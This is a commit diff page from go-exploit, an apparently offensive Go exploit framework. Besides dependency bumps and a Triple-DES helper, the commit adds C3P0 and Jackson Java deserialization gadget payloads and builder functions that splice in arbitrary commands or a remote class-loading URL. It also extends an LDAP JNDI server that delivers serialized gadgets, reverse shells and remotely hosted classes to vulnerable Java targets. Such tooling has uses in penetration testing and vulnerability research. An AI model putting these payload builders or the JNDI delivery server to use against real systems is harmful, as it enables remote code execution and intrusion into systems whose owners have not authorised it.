Skip to content

Commit fead4d0

Browse files
Merge branch 'main' of github.com:vulncheck-oss/go-exploit
2 parents 78e3f57 + 834c00e commit fead4d0

File tree

8 files changed

+156
-53
lines changed

8 files changed

+156
-53
lines changed

encryption/des.go

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package encryption
2+
3+
import (
4+
"bytes"
5+
"crypto/cipher"
6+
"crypto/des"
7+
8+
"github.com/vulncheck-oss/go-exploit/output"
9+
)
10+
11+
func PKCS5Padding(src []byte, blockSize int) []byte {
12+
padding := blockSize - len(src)%blockSize
13+
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
14+
15+
return append(src, padtext...)
16+
}
17+
18+
func TripleDesEncryption(key, iv, plainText []byte) ([]byte, bool) {
19+
block, err := des.NewTripleDESCipher(key)
20+
if err != nil {
21+
output.PrintFrameworkError(err.Error())
22+
23+
return nil, false
24+
}
25+
26+
blockSize := block.BlockSize()
27+
origData := PKCS5Padding(plainText, blockSize)
28+
blockMode := cipher.NewCBCEncrypter(block, iv)
29+
cryted := make([]byte, len(origData))
30+
blockMode.CryptBlocks(cryted, origData)
31+
32+
return cryted, true
33+
}

go.mod

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,10 @@ require (
1010
github.com/icholy/digest v1.1.0
1111
github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8
1212
github.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906
13-
golang.org/x/crypto v0.40.0
14-
golang.org/x/net v0.42.0
15-
golang.org/x/text v0.27.0
16-
modernc.org/sqlite v1.38.2
13+
golang.org/x/crypto v0.43.0
14+
golang.org/x/net v0.46.0
15+
golang.org/x/text v0.30.0
16+
modernc.org/sqlite v1.39.1
1717
)
1818

1919
require (
@@ -27,8 +27,8 @@ require (
2727
github.com/ncruces/go-strftime v0.1.9 // indirect
2828
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
2929
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b // indirect
30-
golang.org/x/sys v0.34.0 // indirect
31-
modernc.org/libc v1.66.3 // indirect
30+
golang.org/x/sys v0.37.0 // indirect
31+
modernc.org/libc v1.66.10 // indirect
3232
modernc.org/mathutil v1.7.1 // indirect
3333
modernc.org/memory v1.11.0 // indirect
3434
)

go.sum

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -48,17 +48,17 @@ golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliY
4848
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
4949
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
5050
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
51-
golang.org/x/crypto v0.40.0 h1:r4x+VvoG5Fm+eJcxMaY8CQM7Lb0l1lsmjGBQ6s8BfKM=
52-
golang.org/x/crypto v0.40.0/go.mod h1:Qr1vMER5WyS2dfPHAlsOj01wgLbsyWtFn/aY+5+ZdxY=
51+
golang.org/x/crypto v0.43.0 h1:dduJYIi3A3KOfdGOHX8AVZ/jGiyPa3IbBozJ5kNuE04=
52+
golang.org/x/crypto v0.43.0/go.mod h1:BFbav4mRNlXJL4wNeejLpWxB7wMbc79PdRGhWKncxR0=
5353
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b h1:M2rDM6z3Fhozi9O7NWsxAkg/yqS/lQJ6PmkyIV3YP+o=
5454
golang.org/x/exp v0.0.0-20250620022241-b7579e27df2b/go.mod h1:3//PLf8L/X+8b4vuAfHzxeRUl04Adcb341+IGKfnqS8=
5555
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
5656
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
5757
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
5858
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
5959
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
60-
golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w=
61-
golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
60+
golang.org/x/mod v0.28.0 h1:gQBtGhjxykdjY9YhZpSlZIsbnaE2+PgjfLWUQTnoZ1U=
61+
golang.org/x/mod v0.28.0/go.mod h1:yfB/L0NOf/kmEbXjzCPOx1iK1fRutOydrCMsqRhEBxI=
6262
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
6363
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
6464
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
@@ -68,17 +68,17 @@ golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
6868
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
6969
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
7070
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
71-
golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs=
72-
golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
71+
golang.org/x/net v0.46.0 h1:giFlY12I07fugqwPuWJi68oOnpfqFnJIJzaIIm2JVV4=
72+
golang.org/x/net v0.46.0/go.mod h1:Q9BGdFy1y4nkUwiLvT5qtyhAnEHgnQ/zd8PfU6nc210=
7373
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
7474
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
7575
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
7676
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
7777
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
7878
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
7979
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
80-
golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
81-
golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
80+
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
81+
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
8282
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
8383
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
8484
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
@@ -91,8 +91,8 @@ golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
9191
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
9292
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
9393
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
94-
golang.org/x/sys v0.34.0 h1:H5Y5sJ2L2JRdyv7ROF1he/lPdvFsd0mJHFw2ThKHxLA=
95-
golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
94+
golang.org/x/sys v0.37.0 h1:fdNQudmxPjkdUTPnLn5mdQv7Zwvbvpaxqs831goi9kQ=
95+
golang.org/x/sys v0.37.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
9696
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
9797
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
9898
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
@@ -111,33 +111,33 @@ golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
111111
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
112112
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
113113
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
114-
golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4=
115-
golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
114+
golang.org/x/text v0.30.0 h1:yznKA/E9zq54KzlzBEAWn1NXSQ8DIp/NYMy88xJjl4k=
115+
golang.org/x/text v0.30.0/go.mod h1:yDdHFIX9t+tORqspjENWgzaCVXgk0yYnYuSZ8UzzBVM=
116116
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
117117
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
118118
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
119119
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
120120
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
121121
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
122-
golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo=
123-
golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg=
122+
golang.org/x/tools v0.37.0 h1:DVSRzp7FwePZW356yEAChSdNcQo6Nsp+fex1SUW09lE=
123+
golang.org/x/tools v0.37.0/go.mod h1:MBN5QPQtLMHVdvsbtarmTNukZDdgwdwlO5qGacAzF0w=
124124
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
125125
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
126126
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
127127
gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU=
128128
gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU=
129-
modernc.org/cc/v4 v4.26.2 h1:991HMkLjJzYBIfha6ECZdjrIYz2/1ayr+FL8GN+CNzM=
130-
modernc.org/cc/v4 v4.26.2/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
131-
modernc.org/ccgo/v4 v4.28.0 h1:rjznn6WWehKq7dG4JtLRKxb52Ecv8OUGah8+Z/SfpNU=
132-
modernc.org/ccgo/v4 v4.28.0/go.mod h1:JygV3+9AV6SmPhDasu4JgquwU81XAKLd3OKTUDNOiKE=
133-
modernc.org/fileutil v1.3.8 h1:qtzNm7ED75pd1C7WgAGcK4edm4fvhtBsEiI/0NQ54YM=
134-
modernc.org/fileutil v1.3.8/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
129+
modernc.org/cc/v4 v4.26.5 h1:xM3bX7Mve6G8K8b+T11ReenJOT+BmVqQj0FY5T4+5Y4=
130+
modernc.org/cc/v4 v4.26.5/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
131+
modernc.org/ccgo/v4 v4.28.1 h1:wPKYn5EC/mYTqBO373jKjvX2n+3+aK7+sICCv4Fjy1A=
132+
modernc.org/ccgo/v4 v4.28.1/go.mod h1:uD+4RnfrVgE6ec9NGguUNdhqzNIeeomeXf6CL0GTE5Q=
133+
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
134+
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
135135
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
136136
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
137137
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
138138
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
139-
modernc.org/libc v1.66.3 h1:cfCbjTUcdsKyyZZfEUKfoHcP3S0Wkvz3jgSzByEWVCQ=
140-
modernc.org/libc v1.66.3/go.mod h1:XD9zO8kt59cANKvHPXpx7yS2ELPheAey0vjIuZOhOU8=
139+
modernc.org/libc v1.66.10 h1:yZkb3YeLx4oynyR+iUsXsybsX4Ubx7MQlSYEw4yj59A=
140+
modernc.org/libc v1.66.10/go.mod h1:8vGSEwvoUoltr4dlywvHqjtAqHBaw0j1jI7iFBTAr2I=
141141
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
142142
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
143143
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
@@ -146,8 +146,8 @@ modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
146146
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
147147
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
148148
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
149-
modernc.org/sqlite v1.38.2 h1:Aclu7+tgjgcQVShZqim41Bbw9Cho0y/7WzYptXqkEek=
150-
modernc.org/sqlite v1.38.2/go.mod h1:cPTJYSlgg3Sfg046yBShXENNtPrWrDX8bsbAQBzgQ5E=
149+
modernc.org/sqlite v1.39.1 h1:H+/wGFzuSCIEVCvXYVHX5RQglwhMOvtHSv+VtidL2r4=
150+
modernc.org/sqlite v1.39.1/go.mod h1:9fjQZ0mB1LLP0GYrp39oOJXx/I2sxEnZtzCmEQIKvGE=
151151
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
152152
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
153153
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=

java/gadgets/C3P0.bin

1.01 KB
Binary file not shown.

java/gadgets/Jackson.bin

3.92 KB
Binary file not shown.

java/javagadget.go

Lines changed: 61 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,32 @@
11
package java
22

33
import (
4+
"embed"
45
"errors"
56
"fmt"
7+
"path/filepath"
68
"strconv"
79
"strings"
810

911
"github.com/vulncheck-oss/go-exploit/transform"
1012
)
1113

12-
var errInvalidCommandLength = errors.New("invalid command length")
14+
//go:embed gadgets
15+
var gadgets embed.FS
16+
17+
var (
18+
errInvalidCommandLength = errors.New("invalid command length")
19+
errInvalidCallbackArg = errors.New("invalid callback arg")
20+
)
1321

1422
func ErrorInvalidCommandLength(msg string) error {
1523
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
1624
}
1725

26+
func ErrorInvalidCallbackArg(msg string) error {
27+
return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg)
28+
}
29+
1830
// This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg
1931
// The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to
2032
// prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.
@@ -415,6 +427,54 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
415427
return payloadBytes, nil
416428
}
417429

430+
// Load `className` from `baseURL` using `URLClassLoader`.
431+
//
432+
// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
433+
func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
434+
// 16-bit (short) unsigned integer (big-endian)
435+
if len(baseURL) < 1 || len(baseURL) > 65535 {
436+
return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
437+
} else if len(className) < 1 || len(className) > 65535 {
438+
return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters")
439+
}
440+
441+
// $ java -jar ysoserial.jar C3P0 "<base_url>:<classname>"
442+
gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin"))
443+
if err != nil {
444+
return "", fmt.Errorf("failed to read gadget: %w", err)
445+
}
446+
447+
gadget := string(gadgetBytes)
448+
gadget = strings.ReplaceAll(gadget, "\x00\x0a<base_url>", transform.PackBigInt16(len(baseURL))+baseURL)
449+
gadget = strings.ReplaceAll(gadget, "\x00\x0b<classname>", transform.PackBigInt16(len(className))+className)
450+
451+
return gadget, nil
452+
}
453+
454+
// https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java
455+
func JacksonGenericCommand(cmd string) (string, error) {
456+
// 16-bit (short) unsigned integer (big-endian)
457+
if len(cmd) < 1 || len(cmd) > 65535 {
458+
return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters")
459+
}
460+
461+
// $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable"
462+
gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin"))
463+
if err != nil {
464+
return "", fmt.Errorf("failed to read gadget: %w", err)
465+
}
466+
467+
gadget := string(gadgetBytes)
468+
gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd)
469+
const (
470+
arraySizeWithCommand = "\x00\x00\x06\x54" // 1620
471+
arraySizeWithoutCommand = 1599
472+
)
473+
gadget = strings.ReplaceAll(gadget, arraySizeWithCommand, transform.PackBigInt32(arraySizeWithoutCommand+len(cmd)))
474+
475+
return gadget, nil
476+
}
477+
418478
// This is a serialized java reverse shell. The gadget was generated by ysoserial
419479
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
420480
// and updated to make it easy to swap in the desired lhost+lport of our choosing

java/ldapjndi/ldapjndi.go

Lines changed: 31 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,7 @@ import (
2222

2323
message "github.com/lor00x/goldap/message"
2424
ldap "github.com/vjeantet/ldapserver"
25+
"github.com/vulncheck-oss/go-exploit/java"
2526
"github.com/vulncheck-oss/go-exploit/output"
2627
)
2728

@@ -38,16 +39,18 @@ const (
3839
BeanUtils194GenericBash GadgetName = 3
3940
// load class via an HTTP server.
4041
HTTPReverseShell GadgetName = 4
42+
// See implementation in java.JacksonGenericCommand.
43+
JacksonGenericCommand GadgetName = 5
4144
)
4245

4346
// a dirty way to pass the user's desired gadget to `handleBind`.
44-
var globalSerializedPayload string
47+
var GlobalSerializedPayload string
4548

4649
// a dirty way to pass the user's desired name to `handleBind`.
47-
var globalName string
50+
var GlobalName string
4851

4952
// if the class is loaded from a secondary http server, this will be set.
50-
var globalHTTPServer string
53+
var GlobalHTTPServer string
5154

5255
// automatically accept.
5356
func handleBind(w ldap.ResponseWriter, _ *ldap.Message) {
@@ -59,29 +62,29 @@ func handleBind(w ldap.ResponseWriter, _ *ldap.Message) {
5962
// Accept the incoming request. Verify it is asking for the correct endpoint
6063
// and then send the user's requested gadget'.
6164
func handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) {
62-
if len(globalSerializedPayload) == 0 {
65+
if len(GlobalSerializedPayload) == 0 {
6366
output.PrintFrameworkError("A serialized payload was never configured!")
6467
}
6568

6669
req := msg.GetSearchRequest()
6770
dname := string(req.BaseObject())
6871

69-
if dname != globalName {
70-
output.PrintfFrameworkError("Received an unexpected request: %s != %s\n", dname, globalName)
72+
if dname != GlobalName {
73+
output.PrintfFrameworkError("Received an unexpected request: %s != %s\n", dname, GlobalName)
7174

7275
return
7376
}
7477

7578
// send search result
7679
res := ldap.NewSearchResultEntry(dname)
77-
if strings.HasPrefix(globalSerializedPayload, "\xca\xfe\xba\xbe") {
80+
if strings.HasPrefix(GlobalSerializedPayload, "\xca\xfe\xba\xbe") {
7881
res.AddAttribute("javaClassName", "foo")
79-
res.AddAttribute("javaCodeBase", message.AttributeValue(globalHTTPServer))
82+
res.AddAttribute("javaCodeBase", message.AttributeValue(GlobalHTTPServer))
8083
res.AddAttribute("objectClass", "javaNamingReference")
81-
res.AddAttribute("javaFactory", message.AttributeValue(globalName))
84+
res.AddAttribute("javaFactory", message.AttributeValue(GlobalName))
8285
} else {
8386
res.AddAttribute("javaClassName", "java.lang.String")
84-
res.AddAttribute("javaSerializedData", message.AttributeValue(globalSerializedPayload))
87+
res.AddAttribute("javaSerializedData", message.AttributeValue(GlobalSerializedPayload))
8588
}
8689
writer.Write(res)
8790

@@ -106,21 +109,26 @@ func CreateLDAPServer(name string) *ldap.Server {
106109
server.Handle(routes)
107110

108111
// set a name so that we aren't tossing exploits at just anyone
109-
globalName = name
112+
GlobalName = name
110113

111114
return server
112115
}
113116

114-
func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, command string) {
117+
func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) {
115118
switch gadget {
116119
case TomcatNashornReverseShell:
117-
globalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)
120+
GlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)
118121
case TomcatGenericBash:
119-
globalSerializedPayload = createTomcatGenericGadget(command)
122+
GlobalSerializedPayload = createTomcatGenericGadget(command)
120123
case GroovyGenericBash:
121-
globalSerializedPayload = createGroovyGenericBash(command)
124+
GlobalSerializedPayload = createGroovyGenericBash(command)
122125
case BeanUtils194GenericBash:
123-
globalSerializedPayload = createBeanUtils194GenericBash(command)
126+
GlobalSerializedPayload = createBeanUtils194GenericBash(command)
127+
case JacksonGenericCommand:
128+
var err error
129+
if GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil {
130+
output.PrintFrameworkError(err.Error())
131+
}
124132
case HTTPReverseShell:
125133
fallthrough
126134
default:
@@ -131,7 +139,7 @@ func SetLDAPGadget(gadget GadgetName, binary string, lhost string, lport int, co
131139
func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost string, httpPort int) {
132140
switch gadget {
133141
case HTTPReverseShell:
134-
globalSerializedPayload = createHTTPReverseShell(lhost, lport, globalName)
142+
GlobalSerializedPayload = createHTTPReverseShell(lhost, lport, GlobalName)
135143
case TomcatNashornReverseShell:
136144
fallthrough
137145
case TomcatGenericBash:
@@ -140,15 +148,17 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
140148
fallthrough
141149
case BeanUtils194GenericBash:
142150
fallthrough
151+
case JacksonGenericCommand:
152+
fallthrough
143153
default:
144154
output.PrintFrameworkError("Invalid payload")
145155

146156
return
147157
}
148158

149-
globalHTTPServer = "http://" + httpHost + ":" + strconv.Itoa(httpPort) + "/"
150-
http.HandleFunc("/"+globalName+".class", func(w http.ResponseWriter, _ *http.Request) {
151-
fmt.Fprint(w, globalSerializedPayload)
159+
GlobalHTTPServer = "http://" + httpHost + ":" + strconv.Itoa(httpPort) + "/"
160+
http.HandleFunc("/"+GlobalName+".class", func(w http.ResponseWriter, _ *http.Request) {
161+
fmt.Fprint(w, GlobalSerializedPayload)
152162
})
153163

154164
output.PrintfFrameworkStatus("Starting HTTP Server on %s:%d", httpHost, httpPort)
@@ -166,7 +176,7 @@ func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost strin
166176
// "10.9.49.242" -> lhost
167177
// 1270 -> lport
168178
// The change in size will then be accounted for in the padding variable.
169-
func createTomcatNashornReverseShell(binary string, lhost string, lport int) string {
179+
func createTomcatNashornReverseShell(binary, lhost string, lport int) string {
170180
shellPayload := "\xac\xed" +
171181
"\x00\x05\x73\x72\x00\x1d\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
172182
"\x2e\x6e\x61\x6d\x69\x6e\x67\x2e\x52\x65\x73\x6f\x75\x72\x63\x65" +

0 commit comments

Comments
 (0)